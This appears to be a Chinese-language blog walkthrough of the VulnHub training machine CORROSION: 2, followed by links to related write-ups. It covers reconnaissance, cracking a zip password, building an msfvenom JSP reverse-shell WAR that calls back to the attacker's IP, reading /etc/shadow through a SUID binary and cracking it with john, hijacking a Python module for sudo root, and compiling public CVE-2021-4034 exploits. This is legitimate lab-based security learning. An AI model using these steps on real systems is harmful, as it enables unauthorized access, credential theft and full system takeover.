vulnhub靶场之CORROSION: 2
准备:
攻击机:虚拟机kali、本机win10。
靶机:CORROSION: 2,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/corrosion/Corrosion2.ova.torrent,下载后直接vbox打开即可。
知识点:CVE-2021-4034漏洞利用、fcrackzip爆破zip文件密码、tomcat获取shell(知账户和密码)、unshadow生成密码本、john爆破密码。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.244。

扫描下开放的端口和对应的服务:nmap -T4 -sV -p- -A 192.168.100.244,显示开放了22、80、8080端口,开启了ssh服务、apache服务。

使用dirmap进行目录扫描,80端口未发现有用信息,但是在8080端口发现readme.txt、backup.zip等文件,扫描命令:python dirmap.py -i http://192.168.100.244:8080/ -lcf。

访问下80端口,在80端口的源代码页面中发现让我们查看https://launchpad.net/bugs/1288690网页。


访问下8080端口和端口的readme.txt文件,下载backup.zip文件进行解压查看,但是需要密码。


信息利用:
使用zip密码爆破工具(fcrackzip)进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip,获得密码:@administrator_hi5。

在解压的tomcat-users.xml文件中发现两组账户和密码:manager/melehifokivai、admin/melehifokivai。

使用账户名和密码在8080端口登录。

想着部署项目实现shell反弹,但是失败了,war包生成命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.166 LPORT=6688 -f war -o upfine.war,在本地上传部署后,访问下该服务。

shell获取:
在msf中存在一个配合账号和密码获取tomcat shell权限的exp。

选择该exp:use 6,设置下账号、密码、ip信息、端口信息,然后run即可。


使用当前用户在系统里查看下目录信息和文件信息,在/home下发现两个用户文件夹,但是/jaye的文件夹无权限查看,在randy文件下下发现了note.txt和user.txt进行查看,获得第一个flag。

越权访问:
在虚拟机的初始界面存在三个账户:jaye、randy、tomcat,发现jaye账户使用密码:melehifokivai可以成功登录或者使用xshell登录。


使用jaye账户查看下目录信息和文件信息,在jaye账户下的Files文件下下发现具有root权限和当前账户可执行权限的look命令,在/root文件下发现root.txt文件,因此直接使用look命令读取下root.txt信息,成功获取到flag值。

权限提升:(两种方法)
第一种:
在jaye账户下,使用look命令读取下/etc/shadow文件和/etc/passwd文件,命令:./look '' 文件名,将文件内容复制到本地使用unshadow生成密码本,然后进行暴力破解,生成密码本命令:unshadow passwd shadow > pass.txt。


使用john进行密码爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt,获得两组账户名和密码:melehifokivai/jaye、07051986randy/randy,第一组和前面的猜测一样。emmm时间是真的长,差不多五个小时跑出来的,可以在晚上跑。

使用ssh服务登录randy账户,查看下当前用户有哪些可以不需要root密码就可拥有root权限的文件,发现了randombase64.py。

查看下该文件权限,发现当前用户不具备该文件的写入权限,查看该文件内容,发现其引入了base64模块。

查看下base64文件的位置,命令:locate base64。

查看下base64.py的权限,发现当前用户具有读写权限,因此我们可以在此文件中写入shell脚本。

写入脚本时缺少vim命令,只能采用nano来编辑py文件,写入:import os 和 os.system("/bin/bash")。


shell写入完成后,运行 randombase64.py,命令:sudo /usr/bin/python3.8 /home/randy/randombase64.py,成功获取到root权限并读取flag值。

第二种:
首先查看下不需要root密码可以执行的root权限命令,sudo -l,显示不存在,这个行不通。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现/usr/lib/policykit-1/polkit-agent-helper-1,

下载exp在本地进行编译(make):https://github.com/berdav/CVE-2021-4034,然后将编译好的文件上传到靶机。

在执行时出现了错误,显示:/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found,就对比了一下靶机和本地的该文件,发现靶机不存在这个GLIBC_2.34,命令:strings /usr/lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC。


但是生成的脚本在kali中测试是可以直接获取root权限的,(这里想着把靶机的文件复制过来就行了,但是直接导致kali命令都不能用了,还好有个镜像,直接恢复镜像了)没办法就只能重新找可利用的exp,这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc进行gcc编译,然后上传到靶机进行执行即可获得root权限。



vulnhub靶场之CORROSION: 2的更多相关文章
- vulnhub靶场之DRIPPING BLUES: 1
准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- Excel 运算符(三):文本连接符
文本连接符&用来合并文本串.比如,连接"计算机"和"基础"两个文本串:"计算机基础"&"基础",最终结果 ...
- 2-1 走进selenium新世界
走进Selenium新世界 浏览器 Firefox Setup 35.0.1 安装完成后设置菜单栏 关闭浏览器自动更新 插件配置(必备武器) FireBug Firebug是firefox下的一个扩展 ...
- 「题解报告」P3354
P3354 题解 题目传送门 一道很恶心的树形dp 但是我喜欢 题目大意: 一片海旁边有一条树状的河,入海口有一个大伐木场,每条河的分叉处都有村庄.建了伐木场的村庄可以直接处理木料,否则要往下游的伐木 ...
- day29--Java泛型02
Java泛型02 5.自定义泛型 5.1自定义泛型类 基本语法: class 类名<T,R...>{//-表示可以有多个泛型 成员 } 注意细节: 普通成员可以使用泛型(属性.方法) 使用 ...
- AtCoder Beginner Contest 255(E-F)
Aising Programming Contest 2022(AtCoder Beginner Contest 255) - AtCoder E - Lucky Numbers 题意: 给两个数组a ...
- .Net+Vue3实现数据简易导入功能
在开发的过程中,上传文件或者导入数据是一件很常见的事情,导入数据可以有两种方式: 前端上传文件到后台,后台读取文件内容,进行验证再进行存储 前端读取数据,进行数据验证,然后发送数据到后台进行存储 这两 ...
- VM虚拟机安装
VM虚拟机安装 1.安装vm虚拟机软件 1.1 双击打开虚拟机文件 1.2 根据向导安装 下一步 安装好了 不要着急点完成在 安装目录中有许可证. 1.3激活操作 2.虚拟机原理简介 3. 新建虚拟机 ...
- C++ 初识函数模板
1. 前言 什么是函数模板? 理解什么是函数模板,须先搞清楚为什么需要函数模板. 如果现在有一个需求,要求编写一个求 2 个数字中最小数字的函数,这 2 个数字可以是 int类型,可以是 float ...
- PostgreSQL 与 Oracle 访问分区表执行计划差异
熟悉Oracle 的DBA都知道,Oracle 访问分区表时,对于没有提供分区条件的,也就是在无法使用分区剪枝情况下,优化器会根据全局的统计信息制定执行计划,该执行计划针对所有分区适用.在分析利弊之前 ...
- KingbaseES 函数稳定性与SQL性能
背景:客户现场的一次艰苦的调优过程(https://www.cnblogs.com/kingbase/p/16015834.html),让我觉得非常有必要让数据库用户了解函数的不同稳定性属性,及其对于 ...